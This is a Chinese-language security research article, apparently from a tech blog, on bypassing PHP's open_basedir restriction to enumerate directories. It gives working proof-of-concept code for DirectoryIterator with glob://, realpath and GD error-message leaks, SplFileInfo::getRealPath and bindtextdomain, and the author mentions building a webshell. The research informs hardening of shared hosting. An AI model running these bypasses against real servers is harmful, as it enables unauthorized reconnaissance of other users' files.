PHP繞過open_basedir列目錄的研究
0x00 前言
近期由於在開發自己的webshell,所以對PHP一些已有的漏洞進行了一定的研究,並且也自己發現了部分PHP存在的安全隱患。這篇文章我來與大家分享一下自己對於PHP中open_basedir繞過並列舉目錄的方法總結。
0x01 open_basedir的簡介
Open_basedir是PHP設定中為了防禦PHP跨目錄進行檔案(目錄)讀寫的方法,所有PHP中有關檔案讀、寫的函式都會經過open_basedir的檢查。
Open_basedir實際上是一些目錄的集合,在定義了open_basedir以後,php可以讀寫的檔案、目錄都將被限制在這些目錄中。
設定open_basedir的方法,在linux下,不同的目錄由“:”分割,如“/var/www/:/tmp/”;在Windows下不同目錄由“;”分割,如“c:/www;c:/windows/temp”。
在現在這個各種雲、虛擬主機橫行的時期,人們希望open_basedir作為一個橫亙在不同使用者之間的屏障,有力地保障使用者的主機能獨立執行,但事實並非人們想象的那麼簡單。
我們這篇文章著重講的將是繞過open_basedir進行目錄的列舉與遍歷,為何我們不說具體檔案的讀、寫,因為檔案讀寫的洞是危害比較大的漏洞了,在php5.3以後很少有能夠繞過open_basedir讀寫檔案的方法。
0x02 利用DirectoryIterator + Glob 直接列舉目錄
這是@/fd 指令碼(http://zone.wooyun.org/content/11268)裡給出的第一個方法。
DirectoryIterator 是php5中增加的一個類,為使用者提供一個簡單的檢視目錄的介面(The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories)。
glob: 資料流包裝器是從 PHP 5.3.0 起開始有效的,用來查詢匹配的檔案路徑。
結合這兩個方式,我們就可以在php5.3以後對目錄進行列舉。在實測中,我們得知,此方法在Linux下列舉目錄居然可以無視open_basedir。
示例程式碼:
#!php
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
執行我們可以發現,open_basedir為/usr/share/nginx/www/:/tmp/,但我們成功列舉了/根目錄下的所有檔案:
這個方法也是迄今為止最方便的方法,他不用暴力猜解目錄,而是直接列舉。但他對php版本、系統版本有一定要求,在5.3以上可列舉(5.5/5.6可能會有修復?在官方沒看到有fix),需要在Linux下才能繞過open_basedir。
0x03 realpath列舉目錄
這是@/fd 指令碼(http://zone.wooyun.org/content/11268)裡給出的第二個方法。
Realpath函式是php中將一個路徑規範化成為絕對路徑的方法,它可以去掉多餘的../或./等跳轉字元,能將相對路徑轉換成絕對路徑。
在開啟了open_basedir以後,這個函式有個特點:當我們傳入的路徑是一個不存在的檔案(目錄)時,它將返回false;當我們傳入一個不在open_basedir裡的檔案(目錄)時,他將丟擲錯誤(File is not within the allowed path(s))。
所以我們可以透過這個特點,來進行目錄的猜解。舉個例子,我們需要猜解根目錄(不在open_basedir中)下的所有檔案,只用寫一個捕捉php錯誤的函式err_handle()。當猜解某個存在的檔案時,會因丟擲錯誤而進入err_handle(),當猜解某個不存在的檔案時,將不會進入err_handle()。
那麼由此我們來算算效率。假如一個檔名長度為6位(如config、passwd等全小寫不帶數字)的檔案,我們最差需要列舉多少次才能猜測到他是否存在:
26 ** 6 = 308915776次
這樣是需要跑很久的,基本每次跑的時候我都沒耐心了,這樣暴力猜解肯定是不行的。那麼,有什麼好辦法可以變這個“雞肋”的漏洞為一個“好用”的漏洞?
熟悉Windows + PHP的同學應該還記得Windows下有兩個特殊的萬用字元:<、>
對,我們這裡就借用這些萬用字元的力量來列舉目錄。寫個簡單的POC來列舉一下:
#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
首先設定open_basedir為當前目錄,並列舉d:/test/目錄下的所有檔案。將錯誤處理交給isexists函式,在isexists函式中匹配出目錄名稱,並列印出來。
執行可以看到:
Open_basedir為c:\wamp\www,但我們列舉出了d:/test/目錄下的檔案:
當然,這是個很粗糙的POC,因為我並沒有考慮到首字母相同的檔案,所以這個POC只能列舉首字母不同的檔案。
如果首字母相同,我們只需要再列舉第二個字元、第三個字元依次類推,即可列舉出目錄中所有檔案。
這個方法好處是windows下php所有版本通用,當然壞處就是隻有windows下才能使用萬用字元,如果是linux下就只能暴力猜解了。
0x04 SplFileInfo::getRealPath列舉目錄
受到上一個方法的啟發,我開始在php中尋找類似的方法。一旦realpath不能使用的情況下,也能找到替代方式。
我找到了新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#1 ,使用的方式是SplFileInfo::getRealPath。
SplFileInfo類是PHP5.1.2之後引入的一個類,提供一個對檔案進行操作的介面。其中有一個和realpath名字很像的方法叫getRealPath。
這個方法功能和realpath類似,都是獲取絕對路徑用的。我們在SplFileInfo的建構函式中傳入檔案相對路徑,並且呼叫getRealPath即可獲取檔案的絕對路徑。
這個方法有個特點:完全沒有考慮open_basedir。在傳入的路徑為一個不存在的路徑時,會返回false;在傳入的路徑為一個存在的路徑時,會正常返回絕對路徑。
我們的realpath函式還是考慮了open_basedir,只是在報錯上沒有考慮周全導致我們能夠判斷某個檔案是否存在。但我們可愛的SplFileInfo::getRealPath方法是直接沒有考慮open_basedir,就能夠判斷一個檔案是否存在。
那麼,我給出一個POC:
#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
?>
只是把之前的POC稍作修改,同樣列出了D:/test下的檔案:
這個方法有個特點,不管是否開啟open_basedir都是可以列舉任意目錄的。而上一個方法(realpath)只有在開啟open_basedir且在open_basedir外的時候才會報錯,才能列舉目錄。當然,沒有開啟open_basedir的時候也不需要這樣列舉目錄了。
0x05 GD庫imageftbbox/imagefttext列舉目錄
GD庫一般是PHP必備的擴充套件庫之一,所以我在尋找open_basedir的時候也會看看這些有用的擴充套件庫。
這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄之3
我拿imageftbbox舉個例子,這個函式第三個引數是字型的路徑。我發現當這個引數在open_basedir外的時候,當檔案存在,則php會丟擲“File(xxxxx) is not within the allowed path(s)”錯誤。但當檔案不存在的時候會丟擲“Invalid font filename”錯誤。
也就是說,我們可以透過丟擲錯誤的具體內容來判斷一個檔案是否存在。這個方法和realpath有相似性,都會丟擲open_basedir的錯誤。
我也修改了個簡單的POC:
#!php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>
同樣列舉一下d:/test
如上圖,我們發現雖然“萬用字元”在判斷是否存在的時候奏效了,但我們真正的檔名並沒有顯示出來,而是還是以萬用字元“<><”代替。
所以,這個方法報錯的時候並不會把真正的路徑爆出來,這也是其與realpath的最大不同之處。所以,我們只能一位一位地猜測,但總體來說,還是能夠猜測出來的,只不過可能比realpath更麻煩一些罷了。
0x06 bindtextdomain暴力猜解目錄
這是新方法: WooYun: php設計缺陷導致繞過open_basedir列舉目錄#2
bindtextdomain是php下繫結domain到某個目錄的函式。具體這個domain是什麼我也沒具體用過,只是在一些l10n應用中可能用到的方法(相關函式textdomain、gettext、setlocale,說明:http://php.net/manual/en/function.gettext.php)
Bindtextdomain函式在環境支援Gettext Functions的時候才能使用,而我的windows環境下是沒有bindtextdomain函式的,我的linux環境是預設存在這個函式。
如上圖,這個函式第二個引數$directory是一個檔案路徑。它會在$directory存在的時候返回$directory,不存在則返回false。
寫個簡單的測試程式碼:
#!php
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
當/etc/passwd存在的時候輸出之:
當/etc/wooyun不存在的時候返回false:
並沒有考慮到open_basedir。所以,我們也可以透過返回值的不同來猜解、列舉某個目錄。
但很大的雞肋點在,windows下預設是沒有這個函式的,而在linux下不能使用萬用字元進行目錄的猜解,所以顯得很雞肋。
當然,在萬無退路的時候進行暴力猜解目錄,也不失為一個還算行的方法。
0x07 總結
open_basedir本來作為php限制跨目錄讀寫檔案的最基礎的方式,應該需要進行完好的設計。但可能php在當初編寫程式碼的時候並沒有進行一個統一的設計,導致每當新增加功能或遇到一些偏僻的函式的時候,都會出現類似“open_basedir繞過”等悲劇。
我曾經寫過一篇文章,《lnmp虛擬主機安全配置研究》,中講述了一個防止虛擬主機跨目錄的方法。但受到了一些白帽子的質疑:
原因是很多人過於相信open_basedir的可靠性。open_basedir固然是一個簡單地限制跨目錄的方法,但如果過於依賴某一個方法去防禦一類攻擊,你將會死的很慘。
open_basedir繞過方法固然有版本侷限,但不排除有很多人手中握著0day。像我這樣對php造詣並不算高的菜鳥也能找到的open_basedir繞過漏洞,你真的能保證大牛們都沒有辦法繞過麼?
我當然更能相信linux/windows等作業系統自帶的許可權控制機制,也不會單單相信open_basedir真的能幫我防禦什麼。
By the way,我上面提到的這些方法,基本都還沒有在php的最新版修復(甚至是我自己發現的“0day”),也就是說還真的有這麼多通用的方法可以繞過open_basedir。
估計又會有人質疑了,光繞過open_basedir列目錄有什麼用?
誠然,列目錄相比於讀、寫具體檔案,都雞肋了很多。但很多時候,就是這些看似“雞肋”的漏洞組合技完成了絕殺。
0x08 參考
相關文章
- 繞過Snoopy的記錄功能2018-05-07OOP
- PHP命令執行與繞過2024-08-16PHP
- php知識點目錄2019-03-16PHP
- 【物件導向的PHP】之模式:目錄2019-02-16物件PHP模式
- Linux 目錄許可權研究2020-12-22Linux
- js繞過-前端加密繞過2021-08-12JS前端加密
- pbootcms模板報錯提示PHP Warning: Unknown: open_basedir restriction2024-10-04bootPHPREST
- PHP獲取目錄中的全部內容RecursiveDirectoryIterator2024-07-09PHP
- Duo Security 研究人員對PayPal雙重驗證的繞過2020-08-19
- waf 繞過的技巧2020-08-19
- php檔案操作之提取檔案/目錄的名稱2021-09-11PHP
- WAF繞過之道2018-07-30
- 如何過濾掉 PHP 陣列中的空值?2019-08-01PHP陣列
- 【git】透過 .gitignore 檔案來忽略特定的目錄2024-07-28Git
- php使用佇列 SplQueue類學習記錄2021-10-16PHP佇列
- 使用HTTP頭進行403繞過 速率繞過 Rate Limit Bypass2024-10-27HTTPMIT
- php怎麼知道指定目錄中有哪些檔案2021-09-11PHP
- 使用命令列建立Maven的專案或模組目錄2018-08-30命令列Maven
- 【ZIP】打包過濾指定目錄和檔案2018-12-02
- md5繞過2024-04-27
- 升級 PHP7 過程記錄2019-02-27PHP
- 併發,繞不過的彎兒2020-04-07
- PHP DIY 系列------框架篇:1. 框架目錄與輔助2020-02-18PHP框架
- js 從目標陣列中過濾掉 一個陣列元素,2020-07-25JS陣列
- CVE-2021-26411在野樣本中利用RPC繞過CFG緩解技術的研究2021-04-29RPC
- PHP中陣列賦值效能及過程2019-02-16PHP陣列賦值
- Files.newDirectoryStream掃描/過濾目錄檔案2018-11-28
- powershell程式碼混淆繞過2020-06-21
- sqlmap常用繞過指令碼2020-10-20SQL指令碼
- Sql注入之WAF繞過2024-06-21SQL
- AMSI 淺析及繞過2021-10-27
- 登陸框select繞過2021-05-25
- frida反除錯繞過2023-04-06除錯
- open_basedir() restrictijon in effect. FIle()2020-08-18REST
- Webscan360的防禦與繞過2020-08-19Web
- 8.var目錄下的檔案和目錄詳解2020-04-04
- Python基礎之棧與佇列及遞迴目錄2020-10-09Python佇列遞迴
- [題目記錄]一本通高手訓練-數列2024-10-12